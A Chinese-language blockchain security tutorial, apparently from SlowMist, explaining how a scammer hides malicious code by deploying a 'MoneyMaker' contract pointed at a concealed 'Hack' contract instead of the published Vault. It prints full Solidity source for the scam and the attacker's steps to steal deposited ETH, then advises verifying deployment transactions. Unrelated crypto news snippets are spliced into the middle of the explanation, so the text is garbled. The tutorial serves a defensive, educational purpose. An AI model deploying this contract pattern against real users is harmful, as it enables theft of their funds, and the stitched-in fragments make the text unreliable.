概述
上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。
實際的調用路徑:
部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker { Vault vault; constructor(address _vault) { vault = Vault(payable(_vault)); } function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!"); uint256 amount = msg.value * 2; (bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed"); vault.transfer(recipient, amount); }}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg.sender; transferGasLimit = 2300; } modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; } modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; } function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~"); (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); } function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; } function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}騙局分析
SushiSwap與智能合約平臺Moonbeam Network達成合作:3月19日消息,官方消息,SushiSwap與智能合約平臺Moonbeam Network達成合作,將Sushi引入Polkadot,用戶可交易、成為LP、挖礦等。[2022/3/20 14:07:01]
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:
MoneyMaker 合約代表 A 合約;
Vault 合約代表 B 合約;
Hack 合約代表 C 合約。
所以用戶以為的調用路徑為:
MoneyMaker -> Vault。
而實際的調用路徑為:
MoneyMaker -> Hack。
下面我們來看看攻擊者如何完成騙局的:
1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;
2. Evil 部署 Hack(C) 惡意合約;
3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;
TrustBase自主研發波卡智能合約編程語言SubScript:據官方消息,TrustBase基于波卡智能合約獨立開發編程語言SubScript,用于優化波卡生態中的開發體驗。Subscript是一個用于Polkadot Wasm智能合約的編程語言,可以提供WebAssembly原生的的智能合約編程環境和IDE支持。相對于當前Parity官方維護的ink!語言,Subscript無需rust編程基礎,任何具備web開發基礎的DApp開發者都可以快速上手Subscript語言。Subscript此前已獲得Web3基金會的官方資助。
TrustBase是一個支持跨鏈消息的波卡Wasm智能合約平行鏈,為開發者提供了方便易用的合約語言及編程工具,DApp開發者不需要拍賣波卡中繼鏈插槽,就可以訪問波卡的XCMP跨鏈消息。[2020/12/19 15:46:32]
4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;
5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。
Bitfinex首席技術官:智能合約或社區不會使項目去中心化:金色財經報道,Bitfinex首席技術官Paolo Ardoino剛剛發推文稱,一份智能合約或一個社區并不會使你的項目去中心化。粉絲評論稱,但是一份智能合約和一個社區可以使一個項目具有抗審查性和非托管性。Ardoino回復稱,同意非托管性。可抵抗審查,但也有其局限性。并不是說無法通過智能合約實現這些,但這不是我們在大多數項目中看到的那樣。[2020/5/10]
咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
慢霧科技
個人專欄
現場 | 魚池F2pool創始人神魚:智能合約的出現大幅提升了效率:金色財經現場報道,在中國區塊鏈行業發展論壇現場,魚池F2pool創始人神魚表示,區塊鏈現在處于類似互聯網非常早期的時代,大概為90年代初,很多底層協議都沒有完善。目前現階段取得階段性的發展,智能合約的出現則改變了人與人,人與物,人與機器的連接,大幅提升了效率。在共識機制中,其中POW已經發展了10余年,目前年產出在100億美金。隨著比特幣發展,網絡出現大規模擁堵,POW洲際達成共識的極限速度為12秒。這反映出,雖然POW擴展屬性差,但安全程度高的特點。[2018/7/11]
閱讀更多
金色薦讀
金色財經 善歐巴
迪新財訊
Chainlink預言機
區塊律動BlockBeats
白話區塊鏈
金色早8點
Odaily星球日報
MarsBit
Arcane Labs
創業公司推出ZeppelinOS軟件可修復以太坊智能合約:據coindesk消息,以太坊智能合約的錯誤無法修復即將成為過去。一家名為Smart Contract Solutions的創業公司周五宣布在以太坊區塊鏈上推出ZeppelinOS,力求在以太坊網絡上開發一系列用于智能合約的應用和工具庫。[2018/5/26]
原文作者:Kadeem Clarke 編譯:Lynn,MarsBit在 Taproot 之后,BTC 持有者不再需要 wBTC 來進行 DeFiDeFi 在以太坊網絡上更具優勢.
1900/1/1 0:00:00來源:老雅痞 隨著FTX交易所的毀滅性崩潰,數字資產行業經歷了Mt Gox以來最令人震驚的托管公司破產。在這份報告中,我們分析了FTX的銀行擠兌、尋求自我托管的安全性,以及比特幣最強者的反應.
1900/1/1 0:00:00作者:Nancy,PANews伴隨著BRC-20概念爆火出圈,相關Token總市值一路創新高的同時,也帶動了比特幣NFT生態的發展.
1900/1/1 0:00:00概述 5 月 11、12 日連續兩天晚上,以太坊共識層短暫異常,imToken 分析該異常主要某幾種以太坊共識層客戶端節點負載過高,使得 Validator 宕機離線.
1900/1/1 0:00:00在美國聯邦儲備銀行亞特蘭大分行昨天舉辦的第 27 屆年度金融市場大會的一個問答環節中,當被問及 SEC 與 Coinbase 的爭議以及對加密貨幣的一般性監管時.
1900/1/1 0:00:00金色周刊是金色財經推出的一檔每周區塊鏈行業總結欄目,內容涵蓋一周重點新聞、行情與合約數據、礦業信息、項目動態、技術進展等行業動態。本文是項目周刊,帶您一覽本周主流項目以及明星項目的進展.
1900/1/1 0:00:00